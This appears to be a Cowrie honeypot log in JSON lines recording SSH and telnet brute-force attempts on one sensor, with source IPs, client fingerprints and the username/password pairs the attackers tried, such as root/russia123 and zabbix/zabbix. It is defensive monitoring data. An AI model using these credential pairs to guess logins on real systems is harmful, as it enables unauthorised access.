{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:11.749434Z","src_ip":"91.92.40.36","session":"7b4ac94c3a95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.9977822303772,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:11.904268Z","src_ip":"128.199.8.54","session":"626c22268c46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20610,"dst_ip":"10.17.0.5","dst_port":22,"session":"df9071c9a831","protocol":"ssh","message":"New connection: 91.92.40.36:20610 (10.17.0.5:22) [session: df9071c9a831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:16.171624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:16.846915Z","src_ip":"91.92.40.36","session":"df9071c9a831","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:16.851543Z","src_ip":"91.92.40.36","session":"df9071c9a831","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"ftpadmin","message":"login attempt [ftpadmin/ftpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:17.394360Z","src_ip":"91.92.40.36","session":"7b4ac94c3a95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:18.732413Z","src_ip":"91.92.40.36","session":"df9071c9a831","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:19.603348Z","src_ip":"91.92.40.36","session":"7b4ac94c3a95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:19.881895Z","src_ip":"91.92.40.36","session":"df9071c9a831","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20716,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f5a4a094208","protocol":"ssh","message":"New connection: 91.92.40.36:20716 (10.17.0.5:22) [session: 5f5a4a094208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:24.938987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:25.156242Z","src_ip":"91.92.40.36","session":"5f5a4a094208","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:25.159506Z","src_ip":"91.92.40.36","session":"5f5a4a094208","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:26.017897Z","src_ip":"91.92.40.36","session":"5f5a4a094208","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:27.187641Z","src_ip":"91.92.40.36","session":"5f5a4a094208","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":39914,"dst_ip":"10.17.0.5","dst_port":22,"session":"4af0dbd89fb5","protocol":"ssh","message":"New connection: 91.92.40.36:39914 (10.17.0.5:22) [session: 4af0dbd89fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:31.418319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:31.931298Z","src_ip":"91.92.40.36","session":"4af0dbd89fb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:31.934572Z","src_ip":"91.92.40.36","session":"4af0dbd89fb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"develop","password":"12345678","message":"login attempt [develop/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:34.637318Z","src_ip":"91.92.40.36","session":"4af0dbd89fb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:36.407190Z","src_ip":"91.92.40.36","session":"4af0dbd89fb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":62700,"dst_ip":"10.17.0.5","dst_port":22,"session":"a161d6d4f73b","protocol":"ssh","message":"New connection: 91.92.40.36:62700 (10.17.0.5:22) [session: a161d6d4f73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:38.198182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:38.949694Z","src_ip":"91.92.40.36","session":"a161d6d4f73b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:38.952913Z","src_ip":"91.92.40.36","session":"a161d6d4f73b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dany","password":"dany123","message":"login attempt [dany/dany123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:41.801948Z","src_ip":"91.92.40.36","session":"a161d6d4f73b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":42590,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff5334b8f622","protocol":"ssh","message":"New connection: 101.36.122.139:42590 (10.17.0.5:22) [session: ff5334b8f622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:41.875803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:41.880349Z","src_ip":"101.36.122.139","session":"ff5334b8f622","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:42.099305Z","src_ip":"101.36.122.139","session":"ff5334b8f622","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"russia123","message":"login attempt [root/russia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:43.007068Z","src_ip":"101.36.122.139","session":"ff5334b8f622","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:43.382842Z","src_ip":"91.92.40.36","session":"a161d6d4f73b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:44.228076Z","src_ip":"101.36.122.139","session":"ff5334b8f622","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":60788,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7fdd5e59737","protocol":"ssh","message":"New connection: 73.36.177.174:60788 (10.17.0.5:22) [session: b7fdd5e59737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:45.499940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:45.508482Z","src_ip":"73.36.177.174","session":"b7fdd5e59737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:45.550507Z","src_ip":"73.36.177.174","session":"b7fdd5e59737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111222","message":"login attempt [root/111222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:45.756498Z","src_ip":"73.36.177.174","session":"b7fdd5e59737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44124,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4558633580f","protocol":"ssh","message":"New connection: 91.92.40.36:44124 (10.17.0.5:22) [session: e4558633580f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:46.235793Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":47704,"dst_ip":"10.17.0.5","dst_port":22,"session":"d25b89ee3112","protocol":"ssh","message":"New connection: 150.136.214.177:47704 (10.17.0.5:22) [session: d25b89ee3112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:46.340855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:46.345223Z","src_ip":"150.136.214.177","session":"d25b89ee3112","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:46.371519Z","src_ip":"150.136.214.177","session":"d25b89ee3112","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hello123","message":"login attempt [root/Hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:46.510911Z","src_ip":"150.136.214.177","session":"d25b89ee3112","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:46.803207Z","src_ip":"73.36.177.174","session":"b7fdd5e59737","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:47.003793Z","src_ip":"91.92.40.36","session":"e4558633580f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:47.038523Z","src_ip":"91.92.40.36","session":"e4558633580f","protocol":"ssh"}
